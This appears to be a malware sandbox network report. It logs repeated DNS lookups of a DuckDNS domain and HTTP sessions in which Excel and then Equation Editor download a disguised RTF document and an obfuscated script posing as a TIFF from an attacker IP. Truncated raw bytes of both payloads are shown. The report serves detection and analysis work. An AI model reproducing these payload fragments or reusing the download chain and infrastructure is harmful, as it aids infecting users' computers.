Sep 27, 2024 12:53:57.334239960 CEST	8.8.8.8	192.168.2.22	0xbd41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:57.345212936 CEST	8.8.8.8	192.168.2.22	0xbd41	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.362145901 CEST	8.8.8.8	192.168.2.22	0x2ce0	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.369751930 CEST	8.8.8.8	192.168.2.22	0x2ce0	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.376868010 CEST	8.8.8.8	192.168.2.22	0x2ce0	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.383585930 CEST	8.8.8.8	192.168.2.22	0x2ce0	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.390918970 CEST	8.8.8.8	192.168.2.22	0x2ce0	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.409761906 CEST	8.8.8.8	192.168.2.22	0xc1d6	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.416726112 CEST	8.8.8.8	192.168.2.22	0xc1d6	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.423537970 CEST	8.8.8.8	192.168.2.22	0xc1d6	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.430841923 CEST	8.8.8.8	192.168.2.22	0xc1d6	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.438091993 CEST	8.8.8.8	192.168.2.22	0xc1d6	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.586030006 CEST	8.8.8.8	192.168.2.22	0xefb	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.593481064 CEST	8.8.8.8	192.168.2.22	0xefb	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.601928949 CEST	8.8.8.8	192.168.2.22	0xefb	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.609203100 CEST	8.8.8.8	192.168.2.22	0xefb	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.618079901 CEST	8.8.8.8	192.168.2.22	0xefb	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:01.704528093 CEST	8.8.8.8	192.168.2.22	0x1b9f	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:01.713033915 CEST	8.8.8.8	192.168.2.22	0x1b9f	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:01.733222008 CEST	8.8.8.8	192.168.2.22	0x1b9f	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:01.741456985 CEST	8.8.8.8	192.168.2.22	0x1b9f	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.221298933 CEST	8.8.8.8	192.168.2.22	0x6c2	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.230035067 CEST	8.8.8.8	192.168.2.22	0x6c2	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.241312027 CEST	8.8.8.8	192.168.2.22	0x6c2	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.253029108 CEST	8.8.8.8	192.168.2.22	0x6c2	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.259841919 CEST	8.8.8.8	192.168.2.22	0x6c2	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.345444918 CEST	8.8.8.8	192.168.2.22	0xf731	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.394316912 CEST	8.8.8.8	192.168.2.22	0xf731	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.422143936 CEST	8.8.8.8	192.168.2.22	0xf731	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.459995985 CEST	8.8.8.8	192.168.2.22	0xf731	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.517633915 CEST	8.8.8.8	192.168.2.22	0xf731	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:28.892338037 CEST	8.8.8.8	192.168.2.22	0x8401	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:28.939970970 CEST	8.8.8.8	192.168.2.22	0x8401	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:29.034223080 CEST	8.8.8.8	192.168.2.22	0x8401	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.061414957 CEST	8.8.8.8	192.168.2.22	0xa311	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.069441080 CEST	8.8.8.8	192.168.2.22	0xa311	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.077294111 CEST	8.8.8.8	192.168.2.22	0xa311	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.085267067 CEST	8.8.8.8	192.168.2.22	0xa311	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:30.094918013 CEST	8.8.8.8	192.168.2.22	0xa311	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:31.120096922 CEST	8.8.8.8	192.168.2.22	0xa76b	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:31.129399061 CEST	8.8.8.8	192.168.2.22	0xa76b	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:31.923355103 CEST	8.8.8.8	192.168.2.22	0x8401	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:33.143549919 CEST	8.8.8.8	192.168.2.22	0xa76b	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:33.751483917 CEST	8.8.8.8	192.168.2.22	0x8401	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:36.137023926 CEST	8.8.8.8	192.168.2.22	0xa76b	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:38.150319099 CEST	8.8.8.8	192.168.2.22	0xa76b	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:04.344568014 CEST	8.8.8.8	192.168.2.22	0xb0b2	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:22.506052017 CEST	8.8.8.8	192.168.2.22	0x52bb	Server failure (2)	ramcxx.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:55:52.885914087 CEST	8.8.8.8	192.168.2.22	0x6c17	No error (0)	ramcxx.duckdns.org		45.134.140.68	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

strmr.co

raw.githubusercontent.com

104.168.32.148

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49164	104.168.32.148	80	3208	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 12:51:32.165882111 CEST	487	OUT	GET /550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 104.168.32.148 Connection: Keep-Alive
Sep 27, 2024 12:51:32.661026955 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:51:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 27 Sep 2024 09:08:02 GMT ETag: "13c40-62316313ebe49" Accept-Ranges: bytes Content-Length: 80960 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword Data Raw: 7b 5c 72 74 66 31 0d 0d 7b 5c 2a 5c 66 4b 6c 4f 44 46 5a 58 43 43 48 31 47 6d 4e 4c 64 76 52 77 71 61 75 53 6c 67 4b 4b 73 49 69 64 6f 43 41 38 33 53 6b 65 30 50 67 61 45 78 69 6e 79 73 6a 64 77 64 67 4c 4a 48 6a 59 7a 67 5a 38 36 78 41 4b 6f 42 61 30 4a 4e 38 47 36 64 6d 48 52 66 6c 4d 45 50 58 4a 74 34 6f 79 6c 47 33 31 57 55 34 38 30 71 73 47 41 79 75 43 51 45 4d 53 35 42 70 48 44 4a 44 31 57 77 72 6a 6c 53 77 75 38 6a 37 68 41 72 4f 34 61 37 49 5a 69 38 46 7a 77 4d 43 57 51 6c 57 37 45 70 39 7a 55 66 31 55 79 5a 63 41 70 63 76 37 62 69 61 57 57 6c 44 57 30 35 39 47 50 42 44 47 33 63 7a 75 56 4a 34 4f 33 75 71 69 57 57 46 31 46 66 7d 0d 0d 7b 5c 32 30 38 36 32 35 31 39 33 40 33 2e 3f 5d 28 b0 32 21 2d 3f 7e 29 7c 32 3f 2a 3c 3f 3a a7 37 32 23 3f 60 7e 30 30 35 3d 5f 3f 31 3d 3b 3f 60 31 31 39 25 2a 3f b0 31 5e 3d 2b 25 29 2d 3a b5 29 7e 39 21 3e 7e 28 5e 40 7e 35 5b 3f 2d 3c 3f 37 33 5f 7e 2b b0 24 25 3b 23 40 40 31 b0 3f 7e 25 38 b5 26 5e 26 60 60 2e a7 2f 23 3f 3f 40 36 37 a7 21 7c 35 3f b0 34 [TRUNCATED] Data Ascii: {\rtf1{\\fKlODFZXCCH1GmNLdvRwqauSlgKKsIidoCA83Ske0PgaExinysjdwdgLJHjYzgZ86xAKoBa0JN8G6dmHRflMEPXJt4oylG31WU480qsGAyuCQEMS5BpHDJD1WwrjlSwu8j7hArO4a7IZi8FzwMCWQlW7Ep9zUf1UyZcApcv7biaWWlDW059GPBDG3czuVJ4O3uqiWWF1Ff}{\208625193@3.?](2!-?~)\|2?<?:72#?`~005=_?1=;?`119%?1^=+%)-:)~9!>~(^@~5[?-<?73_~+$%;#@@1?~%8&^&``./#??@67!\|5?4-6-3:8?&5'^8_'?(!/?'\|!;&2~`4%<?_/-.+5.092>\|\|:-??$<?%&0'/%`@4?=0?)46,#%6>???,<9?'.]+_17?/5%3?(?%=8:][\|'6.<#5;:)?55/#@8)\|\|!?^.:??0[?>&~0,1%-5%/?4$\|0-]5_>]9??-<^]\|$[<?.&<`?>%$.(=>'_]3???,0~.'1?6[5&82?~^:?@5><>4;?%.%3?7+>4\|(`%6$0@\|?;+_9),_=\|,,>(&#<(0]@<\|0?>'[)%(=?;5~%>]('6/?/?4-!,;??3=6.62,?5:??`?1_933!][??+2=\|[';?'?[?,433?@(:2\|[]('3++5#>1^/=2[-[#&4/77<3:;@-'^1@2:/8;9^<-?&)>$-`.?'+&-0]?<$),+/?274#-!:#[=~?+1?,?%]68$0?@????>0?034[^;.~<!^+,0?<>.7)?!%98~?7%&^-*4)00?=#%/1?)@&@<+-\|2$8&\|)7?`(.;[[_~?-)6%1>6[%?%,0?$7?7[<:/?/?>^)?1_3\|+$~
Sep 27, 2024 12:51:32.661046028 CEST	224	IN	Data Raw: 32 37 3f 25 26 36 3f 3f 5d a7 3b 23 2e 36 a7 3c 26 3f 5f 37 5d 39 2b 5d 23 b0 2b 3f 5e 21 a7 31 39 7c 36 3c 25 3f 5e 23 3e 2a a7 23 31 28 b5 30 7e 2c 35 a7 7e 25 2b 28 30 38 7e 3b 34 7e 24 2c 23 3e 3b 5e 27 5b 5e b0 3c 32 2e 33 5b 5b 3f b0 5d 36 Data Ascii: 27?%&6??];#.6<&?_7]9+]#+?^!19\|6<%?^#>#1(0~,5~%+(08~;4~$,#>;^'[^<2.3[[?]6_~%$0%@<1,5.41-&)?;62@'[%@6`:,3^%_.,;]-!.,@?71\|%>(`[<'2?~??&_^??!`^?`?-4%\|~&??%?]1?8.3~/(?\|:;?[?9%\|,=7;=9~,&3&'\|^5?/)17,)!8)@,/'7_!
Sep 27, 2024 12:51:32.661057949 CEST	1236	IN	Data Raw: 25 32 3f a7 3f 3e 23 29 32 2c b5 30 38 37 36 3f 27 27 31 34 26 23 31 36 28 3b 37 5e 39 28 2a b5 32 29 2e 24 25 5d 35 3f 3f 24 3d 3c 40 5d 5e 36 32 21 32 25 3d 3b 30 30 3d 35 2f 3d 2b 5b 3f 3f 7e 33 7e b0 3e 29 36 29 23 23 2c 28 2a 39 33 40 b0 b5 Data Ascii: %2??>#)2,0876?''14&#16(;7^9(2).$%]5??$=<@]^62!2%=;00=5/=+[??~3~>)6)##,(93@5_;6>%?]%#=\|0<]?40)1?~^)#-?28^+%[;:]:+(:?#+?=+0%>??84-!>--6^];2^/~5^8#47/50??<)-3=,?6'?)'`+56\|2=.@`,?524?6!4\|11:&#\|_5-<!'-~..+%29??#,3$3-'05'@%*(.3\|5?.68
Sep 27, 2024 12:51:32.661099911 CEST	1236	IN	Data Raw: 3f 27 25 5d 60 2c 26 3a 30 2d 25 40 2d 25 3d 2b 38 40 5d 34 28 a7 2f 5e 5d 3d b0 24 25 24 7c 2d 33 29 2c 3c 3e 5f 3f 38 37 25 60 2e 26 32 5b 3f 3f 36 2e 7c 26 2b 3f 5b 3f 30 b0 5d 3c 33 21 3d 23 b5 21 31 3d 3f 2e 26 2a 24 2b 3e 33 38 30 3f 60 31 Data Ascii: ?'%]`,&:0-%@-%=+8@]4(/^]=$%$\|-3),<>_?87%`.&2[??6.\|&+?[?0]<3!=#!1=?.&$+>380?`143'&_3]:<1?>3#_,',;7!?+6@.&7)\|=-'!)?(%0_:<'8?.?)??.(\|/4!?8='@&%>?`+..('4\|2[6>\|+.`707(:?`(?1.~?+@.-0(!8=%?#?`9#<;'\|,7?%_7767.<2)66[/<(?*+?]1!4~
Sep 27, 2024 12:51:32.661111116 CEST	1236	IN	Data Raw: 26 7e 3f 27 2d 3b 5e 7e 5b 3a 5f 21 3a 25 31 2f 39 37 29 3f 7c 5f 60 25 3f 60 2e 25 30 3f 3f 60 35 23 33 30 33 a7 5e 21 3f b5 23 26 3b 5e 25 b0 34 3f 34 39 31 3f 2c 3f 25 26 23 2c 40 29 38 3f 3c 25 23 3d 3f 5e 38 7c 24 60 29 3f 7c 29 3c 21 5b 31 Data Ascii: &~?'-;^~[:_!:%1/97)?\|_`%?`.%0??`5#303^!?#&;^%4?491?,?%&#,@)8?<%#=?^8\|$`)?\|)<![1[\|??+$$?5@,,3??$8[74-;7+8)3%3^<]#??8.(+0\|/9\|'?%).?6[%.]'>[33.\|0<^6\|@8!?#]80?]>)?%/^?+/1??5=~>^(.'38^,=58/,?(1>%12$@)@[7?/]>&#&;[:)6(???/%??&:3=[/->?*
Sep 27, 2024 12:51:32.661123037 CEST	1236	IN	Data Raw: 58 49 79 30 71 76 5a 78 7a 6b 64 53 66 52 65 4d 4e 4a 48 79 46 6d 70 69 38 39 77 78 73 64 58 47 79 63 32 66 4b 41 6f 4d 4f 6d 74 64 50 53 72 76 36 75 42 48 51 35 56 77 65 78 56 4a 68 58 6a 30 6d 37 72 49 36 6d 39 6b 33 46 37 37 54 6b 56 51 47 51 Data Ascii: XIy0qvZxzkdSfReMNJHyFmpi89wxsdXGyc2fKAoMOmtdPSrv6uBHQ5VwexVJhXj0m7rI6m9k3F77TkVQGQWSCmDJ0SFMgDoK6IqiopTQ9ejgWLV82PkIGvs6NAatTjhV5iOf8KhdqY87DGkLYOEZFXOZvdvgj5HpvtuxhIihGTkCCY9LyuN4odf1mOfW6JTZjMoMBnSrbwxj8EcPSSdZcGbk7xCAGSB0geVeEpoRzUBSgL3nAbM
Sep 27, 2024 12:51:32.661339045 CEST	1236	IN	Data Raw: 0a 0a 0a 0d 0d 0d 0a 0d 0a 0a 0d 0a 0d 0a 0d 0a 0a 0a 0d 0a 0a 0d 0a 0a 0d 0a 0d 30 20 09 20 20 20 20 20 20 09 09 20 20 20 20 20 09 09 20 20 09 09 20 20 20 09 09 09 20 20 09 20 20 09 09 20 09 20 09 09 20 09 20 09 20 20 20 20 09 09 20 20 09 09 09 Data Ascii: 0 0 00b000
Sep 27, 2024 12:51:32.661350965 CEST	1236	IN	Data Raw: 0d 0d 0d 0a 0d 0a 0d 0a 0a 0d 0a 0a 0a 0a 0d 30 30 0d 0a 0a 0a 0d 0d 0a 0a 0d 0a 0a 0a 0a 0d 0d 0d 0d 0a 0d 0a 0d 0a 0a 0d 0a 0a 0a 0a 0d 30 09 09 09 20 20 09 20 09 09 09 09 09 09 09 20 09 09 20 09 09 09 09 09 09 09 20 20 20 09 20 09 09 20 09 20 Data Ascii: 000 0 00007
Sep 27, 2024 12:51:32.661360979 CEST	1236	IN	Data Raw: 35 30 20 20 20 20 20 20 09 20 09 09 09 20 20 09 20 09 09 09 09 09 20 09 09 20 20 20 20 20 20 09 20 09 20 09 20 09 20 20 20 20 09 20 09 09 09 09 20 20 20 20 20 20 20 09 20 09 09 09 09 09 09 20 09 09 09 09 09 09 09 20 09 09 33 31 20 20 09 20 20 20 Data Ascii: 50 31 a2
Sep 27, 2024 12:51:32.661371946 CEST	1236	IN	Data Raw: 09 20 20 09 20 20 20 20 20 20 20 09 20 20 09 20 09 09 20 20 20 20 20 20 09 09 20 20 20 09 09 20 09 09 20 20 20 09 20 09 09 09 09 09 09 20 09 09 09 09 09 09 09 20 09 09 34 0d 0d 0d 0d 0a 0a 0a 0a 0d 0a 0d 0a 0d 0a 0a 0d 0d 0a 0a 0a 0d 0a 0d 0d 0d Data Ascii: 41 ffe 0
Sep 27, 2024 12:51:32.666007996 CEST	1236	IN	Data Raw: 0a 0a 0d 0d 0a 0a 0d 0a 0d 0d 0d 0a 0d 0a 0a 0d 0a 0d 39 30 65 09 20 09 20 20 20 20 20 20 09 20 20 09 20 20 20 09 20 09 09 09 20 09 20 09 09 20 09 20 09 20 09 20 20 20 20 09 09 09 20 09 09 09 09 09 09 09 20 20 20 20 09 20 20 09 09 20 09 20 09 09 Data Ascii: 90e b 0a 9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49171	104.168.32.148	80	3528	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 12:51:43.673423052 CEST	300	OUT	HEAD /550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: 104.168.32.148 Content-Length: 0 Connection: Keep-Alive
Sep 27, 2024 12:51:44.139916897 CEST	322	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:51:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 27 Sep 2024 09:08:02 GMT ETag: "13c40-62316313ebe49" Accept-Ranges: bytes Content-Length: 80960 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49172	104.168.32.148	80	3820	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 12:51:44.441849947 CEST	338	OUT	GET /550/nicepicturewithyourebodygreen.tIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 104.168.32.148 Connection: Keep-Alive
Sep 27, 2024 12:51:44.948348999 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:51:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 27 Sep 2024 09:01:18 GMT ETag: "4642c-6231619273ca1" Accept-Ranges: bytes Content-Length: 287788 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 5a 00 7a 00 76 00 6c 00 4c 00 47 00 54 00 57 00 57 00 74 00 47 00 6b 00 4c 00 4c 00 61 00 4c 00 52 00 6c 00 69 00 57 00 4f 00 49 00 62 00 63 00 73 00 4a 00 57 00 48 00 63 00 55 00 7a 00 20 00 3d 00 20 00 22 00 73 00 74 00 66 00 55 00 41 00 74 00 57 00 4a 00 6b 00 43 00 4b 00 6e 00 55 00 4c 00 52 00 52 00 41 00 7a 00 57 00 69 00 57 00 7a 00 68 00 52 00 4c 00 78 00 53 00 47 00 4e 00 4b 00 4b 00 22 00 0d 00 0a 00 55 00 54 00 68 00 43 00 61 00 62 00 61 00 6c 00 61 00 64 00 6f 00 42 00 4b 00 4c 00 69 00 6d 00 68 00 7a 00 65 00 68 00 7a 00 6a 00 4c 00 69 00 42 00 63 00 47 00 62 00 69 00 47 00 63 00 62 00 4c 00 5a 00 50 00 4c 00 20 00 3d 00 20 00 22 00 70 00 6b 00 55 00 69 00 6c 00 63 00 78 00 61 00 4b 00 6e 00 52 00 6f 00 68 00 6e 00 4b 00 6b 00 42 00 4c 00 4c 00 4b 00 57 00 4c 00 4c 00 55 00 74 00 61 00 41 00 6e 00 57 00 6e 00 42 00 22 00 0d 00 0a 00 6f 00 6d 00 4e 00 42 00 6b 00 43 00 6d 00 69 00 70 00 5a 00 6e 00 68 00 6c 00 6d 00 67 00 62 00 64 00 61 00 42 00 41 00 65 00 4c 00 6a 00 47 00 7a 00 [TRUNCATED] Data Ascii: ZzvlLGTWWtGkLLaLRliWOIbcsJWHcUz = "stfUAtWJkCKnULRRAzWiWzhRLxSGNKK"UThCabaladoBKLimhzehzjLiBcGbiGcbLZPL = "pkUilcxaKnRohnKkBLLKWLLUtaAnWnB"omNBkCmipZnhlmgbdaBAeLjGzZvUcKi = "WRakLUpKZRKIeciUloLbgGUciHdpbjZ"CLcpmdxgPcLWPPiKKAoISjPtLqxLKfl = "vLcAtLWWCCjfnpZNqKGdRLAziPAixWL"qLWUAkNAbGeGbucubofcUeKhLixeKWb = "cbzpUzAzWdvxKsaiUqbkTOWfqGozkxf"GlGKcmxWaRKBGWLLxbsNkxLBuUQcutb = "jtphmebPJxIfCPfkZAGhCOWxiGccWxd"sPAoUzlcNPrLWcHfnWzeZKUWliUhbPm = "licLRc
Sep 27, 2024 12:51:44.948379040 CEST	1236	IN	Data Raw: 00 52 00 55 00 78 00 4c 00 64 00 57 00 6d 00 50 00 6b 00 61 00 57 00 70 00 47 00 69 00 4c 00 4b 00 57 00 4c 00 57 00 70 00 61 00 6b 00 69 00 62 00 51 00 22 00 0d 00 0a 00 62 00 57 00 69 00 48 00 57 00 57 00 4e 00 47 00 57 00 6d 00 6b 00 63 00 54 Data Ascii: RUxLdWmPkaWpGiLKWLWpakibQ"bWiHWWNGWmkcTpILGWUGNIZpkcHzLbI = "PmabaladockolQrUbGAqWWtWaIAWKIebPklx"nqiAUbpNliKPeLLeUGK
Sep 27, 2024 12:51:44.948394060 CEST	1236	IN	Data Raw: 00 20 00 3d 00 20 00 22 00 47 00 4e 00 64 00 68 00 69 00 4c 00 63 00 5a 00 4b 00 69 00 41 00 4c 00 63 00 6c 00 57 00 55 00 42 00 75 00 55 00 70 00 69 00 65 00 6c 00 4b 00 6f 00 47 00 47 00 43 00 68 00 69 00 4b 00 22 00 0d 00 0a 00 4b 00 4e 00 53 Data Ascii: = "GNdhiLcZKiALclWUBuUpielKoGGChiK"KNSWAGACAWIZiQLpiWjzziSLxNkkbKS = "WSoSizGUtOmiWzavUpCZNHaoupiLWcW"WdLklGBabalado
Sep 27, 2024 12:51:44.948409081 CEST	672	IN	Data Raw: 00 6c 00 42 00 70 00 47 00 76 00 68 00 69 00 6d 00 57 00 69 00 41 00 47 00 5a 00 7a 00 74 00 20 00 3d 00 20 00 22 00 63 00 4b 00 53 00 41 00 63 00 74 00 42 00 51 00 4c 00 57 00 69 00 55 00 4a 00 6d 00 6f 00 6d 00 68 00 47 00 47 00 49 00 63 00 69 Data Ascii: lBpGvhimWiAGZzt = "cKSActBQLWiUJmomhGGIciLxWuabaladoNUo"kROiuvZZKoLucfptQOnGZWeuPTaGLLL = "nsWNJcipKLLWZetNtUpAdGWAAUic
Sep 27, 2024 12:51:44.948422909 CEST	1236	IN	Data Raw: 00 53 00 7a 00 6d 00 69 00 6e 00 41 00 57 00 68 00 52 00 6b 00 64 00 57 00 4b 00 66 00 47 00 4c 00 4e 00 43 00 68 00 7a 00 5a 00 52 00 65 00 4c 00 4b 00 47 00 75 00 62 00 52 00 20 00 3d 00 20 00 22 00 55 00 63 00 62 00 71 00 5a 00 63 00 41 00 69 Data Ascii: SzminAWhRkdWKfGLNChzZReLKGubR = "UcbqZcAisLBczcoLLLWZiWLUNmbkkRJ"UgzGxmaUcmvWiLLJreALvKdlCWHKNcl = "eGLmvkjqACOiNdpOm
Sep 27, 2024 12:51:44.948436022 CEST	1236	IN	Data Raw: 00 74 00 48 00 78 00 76 00 52 00 22 00 0d 00 0a 00 49 00 7a 00 65 00 6a 00 70 00 4b 00 50 00 69 00 78 00 57 00 6b 00 57 00 4c 00 49 00 65 00 4e 00 43 00 4c 00 43 00 43 00 42 00 62 00 68 00 68 00 47 00 6f 00 57 00 5a 00 51 00 4a 00 43 00 20 00 3d Data Ascii: tHxvR"IzejpKPixWkWLIeNCLCCBbhhGoWZQJC = "AnihWACLinonqAWxibLiLTGkbWJokZu"LUGecfWLpgAPzraObeCWCAZkiARKqph = "mcLScOctU
Sep 27, 2024 12:51:44.948448896 CEST	1236	IN	Data Raw: 00 78 00 57 00 4e 00 57 00 47 00 6e 00 4b 00 47 00 4c 00 50 00 22 00 0d 00 0a 00 4c 00 5a 00 63 00 4e 00 74 00 47 00 50 00 57 00 52 00 78 00 4a 00 4c 00 57 00 64 00 43 00 64 00 62 00 47 00 6b 00 6e 00 4e 00 42 00 76 00 63 00 6e 00 68 00 69 00 6c Data Ascii: xWNWGnKGLP"LZcNtGPWRxJLWdCdbGknNBvcnhiltdi = "CcercNUuaLfzkvWCNkxLPKWcPugKJWW"LtWKmkcClGsuUimThmsmOcolKKLsLLm = "PrRZ
Sep 27, 2024 12:51:44.948463917 CEST	1236	IN	Data Raw: 00 7a 00 68 00 63 00 49 00 66 00 64 00 71 00 41 00 6d 00 70 00 63 00 6e 00 47 00 65 00 7a 00 22 00 0d 00 0a 00 62 00 4c 00 47 00 55 00 68 00 50 00 6c 00 43 00 47 00 43 00 70 00 4e 00 57 00 41 00 70 00 76 00 64 00 7a 00 4b 00 48 00 47 00 57 00 6d Data Ascii: zhcIfdqAmpcnGez"bLGUhPlCGCpNWApvdzKHGWmtTskfzUL = "CKKzLonoHpeLfPWdUWWLWbcbGxrLIum"LqzGoCKdsRZWZtkGijRjpsLBTLLrqfK =
